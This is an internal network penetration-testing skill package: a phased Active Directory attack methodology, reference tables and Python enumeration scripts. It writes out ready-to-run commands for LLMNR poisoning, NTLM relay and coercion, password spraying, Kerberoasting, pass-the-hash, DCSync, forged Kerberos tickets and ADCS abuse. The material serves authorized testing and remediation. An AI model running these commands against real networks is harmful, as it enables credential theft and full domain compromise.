npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
MITRE D3FEND
Overview
An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an "assumed breach" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint.
When to Use
- When conducting security assessments that involve conducting internal network penetration test
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Signed Rules of Engagement with internal network scope
- Network access: physical Ethernet drop or VPN connection to internal VLAN
- Standard domain user credentials (assumed breach model) or unauthenticated access
- Testing laptop with Kali Linux, Impacket, Responder, BloodHound
- Coordination with IT/SOC for monitoring and emergency contacts
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Phase 1 — Network Discovery and Enumeration
Initial Network Reconnaissance
# Identify your own network position
ip addr show
ip route show
cat /etc/resolv.conf
# ARP scan for live hosts on local subnet
arp-scan --localnet --interface eth0
# Nmap host discovery across internal ranges
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap
# Extract live hosts
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt
# Port scan live hosts — top 1000 ports
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan
# Service-specific scans
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmapActive Directory Enumeration
# Enumerate domain information with domain credentials
# Using CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups
# LDAP enumeration
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa
# BloodHound data collection
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# Import JSON files into BloodHound GUI for attack path analysis
# Enum4linux-ng for legacy enumeration
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'Network Service Enumeration
# SMB share enumeration
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R
# SNMP enumeration
snmpwalk -v2c -c public 10.0.0.1
# DNS zone transfer attempt
dig axfr corp.local @10.0.0.5
# NFS enumeration
showmount -e 10.0.0.15
# MSSQL enumeration
impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-authPhase 2 — Credential Attacks
Network Credential Capture
# Responder — LLMNR/NBT-NS/mDNS poisoning
sudo responder -I eth0 -dwPv
# Capture NTLMv2 hashes from Responder logs
cat /usr/share/responder/logs/NTLMv2-*.txt
# mitm6 — IPv6 DNS takeover
sudo mitm6 -d corp.local
# ntlmrelayx — relay captured credentials
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks
# PetitPotam — coerce NTLM authentication
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
attacker_ip 10.0.0.5Password Attacks
# Crack captured NTLMv2 hashes
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# Password spraying (careful with lockout policies)
netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce
netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce
# Kerberoasting — target service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# AS-REP Roasting — target accounts without pre-auth
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txtPhase 3 — Exploitation and Lateral Movement
Lateral Movement Techniques
# Pass-the-Hash with Impacket
impacket-psexec 'corp.local/admin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
# WMI execution
impacket-wmiexec 'corp.local/admin:AdminPass123@10.0.0.30'
# Evil-WinRM for PowerShell remoting
evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'
# SMBExec
impacket-smbexec 'corp.local/admin:AdminPass123@10.0.0.30'
# RDP access
xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution
# SSH pivoting
ssh -D 9050 user@10.0.0.40
proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24Privilege Escalation
# Windows privilege escalation
# Check for local admin via token impersonation
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester
# PowerShell-based privesc checks
# Run PowerUp
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
# Check for unquoted service paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """
# Linux privilege escalation
./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontabDomain Escalation
# DCSync attack (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:DaPass123@10.0.0.5' -just-dc
# Golden Ticket attack
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator
# Silver Ticket attack
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/db01.corp.local administrator
# ADCS exploitation (Certifried, ESC1-ESC8)
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5
certipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \
-template VulnerableTemplate -ca CORP-CA -upn administrator@corp.localPhase 4 — Data Access and Impact Demonstration
# Access sensitive file shares
smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123'
> dir
> get Q4_Financial_Report.xlsx
# Database access
impacket-mssqlclient 'sa:DbPassword123@10.0.0.20'
SQL> SELECT name FROM sys.databases;
SQL> SELECT TOP 10 * FROM customers;
# Extract proof of access (DO NOT exfiltrate real data)
echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt
# Document access chain
# Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01
# -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromisePhase 5 — Reporting
Attack Path Documentation
Attack Path 1: Domain Compromise via LLMNR Poisoning
Step 1: LLMNR/NBT-NS poisoning captured NTLMv2 hash (T1557.001)
Step 2: Hash cracked offline — user: jsmith, password: Welcome2025!
Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002)
Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)
Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006)
Impact: Complete domain compromise from unauthenticated network positionFindings Severity Matrix
| Finding | CVSS | MITRE ATT&CK | Remediation |
|---|---|---|---|
| LLMNR/NBT-NS poisoning | 8.1 | T1557.001 | Disable LLMNR/NBT-NS via GPO |
| Kerberoastable service accounts | 7.5 | T1558.003 | Use gMSA, 25+ char passwords |
| Local admin reuse | 8.4 | T1078 | Deploy LAPS, unique local admin passwords |
| Weak domain passwords | 7.2 | T1110 | Enforce 14+ char minimum, blacklist common passwords |
| Unrestricted DCSync | 9.8 | T1003.006 | Audit replication rights, implement tiered admin model |
Tools Reference
| Tool | Purpose |
|---|---|
| Responder | LLMNR/NBT-NS/mDNS poisoning |
| Impacket | AD attack suite (secretsdump, psexec, wmiexec, etc.) |
| BloodHound | AD attack path visualization |
| NetExec (CrackMapExec) | Network service enumeration and spraying |
| Evil-WinRM | PowerShell remoting client |
| Certipy | AD Certificate Services exploitation |
| Mimikatz | Windows credential extraction |
| Hashcat | Password hash cracking |
| Nmap | Network scanning and enumeration |
| LinPEAS/WinPEAS | Privilege escalation enumeration |
References
- Cobalt Internal Network Pentesting Methodology: https://docs.cobalt.io/methodologies/internal-network/
- MITRE ATT&CK Enterprise: https://attack.mitre.org/matrices/enterprise/
- PTES: http://www.pentest-standard.org/
- Impacket: https://github.com/fortra/impacket
- BloodHound: https://github.com/BloodHoundAD/BloodHound
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md1.8 KB
Internal Network Penetration Test — API Reference
Libraries
| Library | Install | Purpose |
|---|---|---|
| ldap3 | pip install ldap3 |
LDAP queries for AD enumeration |
| impacket | pip install impacket |
SMB relay, credential dumping, lateral movement tools |
| python-nmap | pip install python-nmap |
Python wrapper for nmap scanning |
Key Tools & Commands
| Tool | Command | Purpose |
|---|---|---|
| nmap | nmap -sV -sC --top-ports 1000 <target> |
Service version and script scan |
| Responder | responder -I eth0 -A |
LLMNR/NBT-NS poisoning (analyze mode) |
| CrackMapExec | cme smb <target> --gen-relay-list |
Find hosts with SMB signing disabled |
| BloodHound | bloodhound-python -d domain -u user -p pass |
AD attack path mapping |
| ntlmrelayx | ntlmrelayx.py -t <target> -smb2support |
NTLM relay attack |
Common Internal Vulnerabilities
| Vulnerability | Impact | CVSS |
|---|---|---|
| SMB signing disabled | NTLM relay attacks | 7.5 |
| LLMNR/NBT-NS enabled | Credential capture | 7.0 |
| Default credentials | Unauthorized access | 9.0 |
| Unpatched EternalBlue (MS17-010) | Remote code execution | 9.8 |
| Kerberoasting-eligible SPNs | Offline password cracking | 7.5 |
Windows Event IDs for Detection
| Event ID | Description |
|---|---|
| 4625 | Failed logon attempt (brute force indicator) |
| 4648 | Logon with explicit credentials |
| 4768 | Kerberos TGT request |
| 4769 | Kerberos service ticket request |
External References
standards.md1.1 KB
Standards — Internal Network Penetration Testing
Frameworks
- PTES: http://www.pentest-standard.org/
- OSSTMM v3: https://www.isecom.org/OSSTMM.3.pdf
- NIST SP 800-115: https://csrc.nist.gov/publications/detail/sp/800-115/final
- MITRE ATT&CK Enterprise: https://attack.mitre.org/matrices/enterprise/
Key MITRE ATT&CK Techniques for Internal Testing
| Tactic | Technique | ID |
|---|---|---|
| Discovery | Network Service Discovery | T1046 |
| Credential Access | LLMNR/NBT-NS Poisoning | T1557.001 |
| Credential Access | Kerberoasting | T1558.003 |
| Credential Access | OS Credential Dumping | T1003 |
| Lateral Movement | Remote Services: SMB | T1021.002 |
| Lateral Movement | Pass the Hash | T1550.002 |
| Privilege Escalation | Domain Policy Modification | T1484 |
| Collection | Data from Network Shared Drive | T1039 |
Compliance Requirements
| Standard | Internal Pentest Requirement |
|---|---|
| PCI DSS v4.0 | Req 11.4.2 — Internal penetration testing annually |
| ISO 27001 | A.18.2.3 — Technical compliance review |
| SOC 2 | CC7.1 — Detection and monitoring |
| NIST CSF | PR.IP-12, DE.CM |
workflows.md1.4 KB
Workflows — Internal Network Penetration Testing
Attack Flow
Network Access (Ethernet/VPN)
│
├── Network Discovery (Nmap, ARP scan)
│
├── Credential Capture (Responder, mitm6)
│ │
│ └── Hash Cracking (Hashcat)
│
├── AD Enumeration (BloodHound, LDAP)
│ │
│ ├── Kerberoasting
│ ├── AS-REP Roasting
│ └── GPP Password Extraction
│
├── Lateral Movement (PsExec, WMI, WinRM)
│ │
│ └── Credential Harvesting (Mimikatz, LSASS dump)
│
├── Privilege Escalation
│ │
│ ├── Local (unquoted paths, token impersonation)
│ └── Domain (DCSync, Golden Ticket, ADCS)
│
└── Impact Demonstration
├── Sensitive data access
├── Domain compromise proof
└── Attack path documentationEvidence Collection Workflow
evidence/
├── credentials/
│ ├── responder_captures/
│ ├── cracked_hashes/
│ └── dumped_creds/
├── screenshots/
├── bloodhound/
│ └── domain_data.json
├── scan_results/
│ ├── nmap/
│ └── shares/
└── attack_paths/
└── path_documentation.mdScripts 2
agent.py5.9 KB
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Internal network penetration testing agent using nmap and impacket."""
import json
import argparse
import subprocess
import socket
from datetime import datetime
def run_nmap_scan(target, scan_type="quick"):
"""Run nmap network discovery and port scanning."""
scan_args = {
"quick": ["-sV", "-sC", "--top-ports", "100", "-T4"],
"full": ["-sV", "-sC", "-p-", "-T3"],
"stealth": ["-sS", "-Pn", "-T2", "--top-ports", "1000"],
}
args = scan_args.get(scan_type, scan_args["quick"])
cmd = ["nmap"] + args + ["-oX", "-", target]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
return {"status": "completed", "output": result.stdout[:2000]}
except FileNotFoundError:
return {"status": "error", "message": "nmap not installed"}
except subprocess.TimeoutExpired:
return {"status": "timeout"}
def check_smb_signing(target):
"""Check if SMB signing is required on target hosts."""
cmd = ["nmap", "--script", "smb2-security-mode", "-p", "445", target]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
signing_disabled = "not required" in result.stdout.lower()
return {
"target": target,
"smb_signing_required": not signing_disabled,
"vulnerable_to_relay": signing_disabled,
"severity": "HIGH" if signing_disabled else "INFO",
}
except (FileNotFoundError, subprocess.TimeoutExpired):
return {"target": target, "error": "nmap scan failed"}
def check_llmnr_nbns(interface="eth0"):
"""Check for LLMNR/NBT-NS poisoning opportunities."""
return {
"check": "LLMNR/NBT-NS",
"tool": "Responder",
"command": f"responder -I {interface} -A",
"risk": "Cleartext credential capture via name resolution poisoning",
"severity": "HIGH",
"mitigation": "Disable LLMNR via GPO, disable NBT-NS in network adapter settings",
}
def enumerate_ad_info(dc_ip, domain, username, password):
"""Enumerate Active Directory information via LDAP."""
try:
import ldap3
server = ldap3.Server(dc_ip, get_info=ldap3.ALL)
conn = ldap3.Connection(server, user=f"{domain}\\{username}",
password=password, authentication=ldap3.NTLM, auto_bind=True)
base_dn = ",".join([f"DC={p}" for p in domain.split(".")])
conn.search(base_dn, "(objectClass=computer)", attributes=["cn", "operatingSystem"])
computers = [{"name": str(e.cn), "os": str(e.operatingSystem)} for e in conn.entries]
conn.search(base_dn, "(&(objectClass=user)(adminCount=1))",
attributes=["sAMAccountName"])
admins = [str(e.sAMAccountName) for e in conn.entries]
conn.unbind()
return {"computers": computers[:20], "admin_accounts": admins, "total_hosts": len(computers)}
except Exception as e:
return {"error": str(e)}
def check_common_vulns(target):
"""Check for common internal network vulnerabilities."""
checks = []
for port, service in [(21, "FTP"), (23, "Telnet"), (80, "HTTP"), (3389, "RDP"),
(5900, "VNC"), (1433, "MSSQL"), (3306, "MySQL")]:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
try:
sock.connect((target, port))
checks.append({"port": port, "service": service, "status": "open"})
except (socket.timeout, ConnectionRefusedError, OSError):
pass
finally:
sock.close()
return checks
def run_pentest(target, dc_ip=None, domain=None, username=None, password=None):
"""Execute internal network penetration test."""
print(f"\n{'='*60}")
print(f" INTERNAL NETWORK PENETRATION TEST")
print(f" Target: {target}")
print(f" Generated: {datetime.utcnow().isoformat()} UTC")
print(f"{'='*60}\n")
ports = check_common_vulns(target)
print(f"--- OPEN PORTS ({len(ports)}) ---")
for p in ports:
print(f" Port {p['port']}/{p['service']}: {p['status']}")
smb = check_smb_signing(target)
print(f"\n--- SMB SIGNING ---")
print(f" Signing required: {smb.get('smb_signing_required', 'N/A')}")
print(f" Relay vulnerable: {smb.get('vulnerable_to_relay', 'N/A')}")
llmnr = check_llmnr_nbns()
print(f"\n--- LLMNR/NBT-NS ---")
print(f" Risk: {llmnr['risk']}")
print(f" Severity: {llmnr['severity']}")
ad_info = {}
if dc_ip and domain and username and password:
ad_info = enumerate_ad_info(dc_ip, domain, username, password)
print(f"\n--- AD ENUMERATION ---")
print(f" Total hosts: {ad_info.get('total_hosts', 0)}")
print(f" Admin accounts: {ad_info.get('admin_accounts', [])}")
return {"ports": ports, "smb": smb, "llmnr": llmnr, "ad": ad_info}
def main():
parser = argparse.ArgumentParser(description="Internal Network Pentest Agent")
parser.add_argument("--target", required=True, help="Target IP or CIDR range")
parser.add_argument("--dc-ip", help="Domain controller IP for AD enumeration")
parser.add_argument("--domain", help="AD domain name")
parser.add_argument("--username", help="AD username")
parser.add_argument("--password", help="AD password")
parser.add_argument("--output", help="Save report to JSON file")
args = parser.parse_args()
report = run_pentest(args.target, args.dc_ip, args.domain, args.username, args.password)
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
print(f"\n[+] Report saved to {args.output}")
if __name__ == "__main__":
main()
process.py8.2 KB
#!/usr/bin/env python3
"""
Internal Network Penetration Test — Automation Process
Automates network discovery, AD enumeration, and reporting for internal pentests.
Requires: nmap, netexec, ldap3, bloodhound-python.
Usage:
python process.py --subnet 10.0.0.0/24 --domain corp.local --dc-ip 10.0.0.5 --output ./results
"""
import subprocess
import json
import os
import sys
import argparse
import socket
import datetime
from pathlib import Path
from typing import Optional
def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
"""Execute a shell command and return stdout, stderr, return code."""
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return "", f"Command timed out after {timeout}s", -1
except FileNotFoundError:
return "", f"Command not found: {cmd[0]}", -1
def discover_hosts(subnet: str, output_dir: Path) -> list[str]:
"""Discover live hosts on the internal network."""
print(f"[*] Discovering live hosts on {subnet}...")
output_file = output_dir / "host_discovery"
stdout, stderr, rc = run_command(
["nmap", "-sn", subnet, "-oA", str(output_file)], timeout=600
)
live_hosts = []
gnmap = f"{output_file}.gnmap"
if os.path.exists(gnmap):
with open(gnmap) as f:
for line in f:
if "Status: Up" in line:
ip = line.split(" ")[1]
live_hosts.append(ip)
hosts_file = output_dir / "live_hosts.txt"
with open(hosts_file, "w") as f:
f.write("\n".join(live_hosts))
print(f"[+] Found {len(live_hosts)} live hosts")
return live_hosts
def port_scan(hosts_file: str, output_dir: Path) -> dict:
"""Run port scan against discovered hosts."""
print("[*] Running port scan on live hosts...")
output_prefix = str(output_dir / "port_scan")
stdout, stderr, rc = run_command(
["nmap", "-sS", "-sV", "-T4", "--top-ports", "1000",
"-iL", hosts_file, "-oA", output_prefix],
timeout=3600
)
return {"output_prefix": output_prefix, "return_code": rc}
def enumerate_smb_shares(hosts: list[str], username: str, password: str,
domain: str, output_dir: Path) -> list[dict]:
"""Enumerate SMB shares across internal hosts."""
print("[*] Enumerating SMB shares...")
results = []
for host in hosts:
stdout, stderr, rc = run_command(
["netexec", "smb", host, "-u", username, "-p", password,
"-d", domain, "--shares"],
timeout=30
)
if rc == 0 and stdout:
results.append({"host": host, "output": stdout})
output_file = output_dir / "smb_shares.json"
with open(output_file, "w") as f:
json.dump(results, f, indent=2)
print(f"[+] Enumerated shares on {len(results)} hosts")
return results
def check_smb_signing(hosts: list[str], output_dir: Path) -> list[dict]:
"""Check SMB signing status on discovered hosts."""
print("[*] Checking SMB signing status...")
results = []
for host in hosts:
stdout, stderr, rc = run_command(
["netexec", "smb", host, "--gen-relay-list",
str(output_dir / "relay_targets.txt")],
timeout=30
)
if "signing:False" in stdout:
results.append({"host": host, "smb_signing": False})
elif "signing:True" in stdout:
results.append({"host": host, "smb_signing": True})
output_file = output_dir / "smb_signing.json"
with open(output_file, "w") as f:
json.dump(results, f, indent=2)
unsigned = [r for r in results if not r.get("smb_signing")]
print(f"[+] Found {len(unsigned)} hosts without SMB signing")
return results
def run_bloodhound_collection(username: str, password: str,
domain: str, dc_ip: str,
output_dir: Path) -> str:
"""Run BloodHound data collection."""
print("[*] Running BloodHound collection...")
stdout, stderr, rc = run_command(
["bloodhound-python", "-u", username, "-p", password,
"-d", domain, "-ns", dc_ip, "-c", "all",
"--output-prefix", str(output_dir / "bloodhound")],
timeout=600
)
if rc == 0:
print("[+] BloodHound data collected successfully")
else:
print(f"[-] BloodHound collection issue: {stderr[:200]}")
return str(output_dir)
def check_password_policy(domain: str, dc_ip: str, username: str,
password: str) -> dict:
"""Retrieve domain password policy."""
print("[*] Retrieving domain password policy...")
stdout, stderr, rc = run_command(
["netexec", "smb", dc_ip, "-u", username, "-p", password,
"-d", domain, "--pass-pol"],
timeout=30
)
return {"output": stdout, "return_code": rc}
def generate_report(live_hosts: list[str], smb_results: list[dict],
signing_results: list[dict], output_dir: Path) -> str:
"""Generate internal pentest summary report."""
print("[*] Generating report...")
report_file = output_dir / "internal_pentest_report.md"
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
with open(report_file, "w") as f:
f.write("# Internal Network Penetration Test Report\n\n")
f.write(f"**Generated:** {timestamp}\n\n---\n\n")
f.write("## Network Discovery\n\n")
f.write(f"Total live hosts: **{len(live_hosts)}**\n\n")
f.write("## SMB Share Analysis\n\n")
f.write(f"Hosts with accessible shares: **{len(smb_results)}**\n\n")
f.write("## SMB Signing Status\n\n")
unsigned = [r for r in signing_results if not r.get("smb_signing")]
f.write(f"Hosts without SMB signing: **{len(unsigned)}** (vulnerable to relay)\n\n")
if unsigned:
f.write("| Host | SMB Signing |\n|------|------------|\n")
for r in unsigned:
f.write(f"| {r['host']} | Disabled |\n")
f.write("\n")
f.write("## Recommendations\n\n")
f.write("1. Enable SMB signing on all domain-joined systems via GPO\n")
f.write("2. Disable LLMNR and NBT-NS across the domain\n")
f.write("3. Implement LAPS for unique local admin passwords\n")
f.write("4. Deploy tiered admin model for Active Directory\n")
f.write("5. Enforce strong password policy (14+ characters)\n")
f.write("6. Use Group Managed Service Accounts (gMSA)\n\n")
print(f"[+] Report generated: {report_file}")
return str(report_file)
def main():
parser = argparse.ArgumentParser(description="Internal Network Pentest Automation")
parser.add_argument("--subnet", required=True, help="Target subnet (CIDR)")
parser.add_argument("--domain", required=True, help="AD domain name")
parser.add_argument("--dc-ip", required=True, help="Domain controller IP")
parser.add_argument("--username", default="", help="Domain username")
parser.add_argument("--password", default="", help="Domain password")
parser.add_argument("--output", default="./results", help="Output directory")
args = parser.parse_args()
output_dir = Path(args.output)
output_dir.mkdir(parents=True, exist_ok=True)
print("=" * 60)
print(" Internal Network Penetration Test")
print(f" Subnet: {args.subnet}")
print(f" Domain: {args.domain}")
print("=" * 60)
live_hosts = discover_hosts(args.subnet, output_dir)
port_scan(str(output_dir / "live_hosts.txt"), output_dir)
smb_results = []
signing_results = check_smb_signing(live_hosts[:50], output_dir)
if args.username and args.password:
smb_results = enumerate_smb_shares(
live_hosts[:50], args.username, args.password, args.domain, output_dir
)
run_bloodhound_collection(
args.username, args.password, args.domain, args.dc_ip, output_dir
)
check_password_policy(args.domain, args.dc_ip, args.username, args.password)
generate_report(live_hosts, smb_results, signing_results, output_dir)
print("\n[+] Internal pentest automation complete")
if __name__ == "__main__":
main()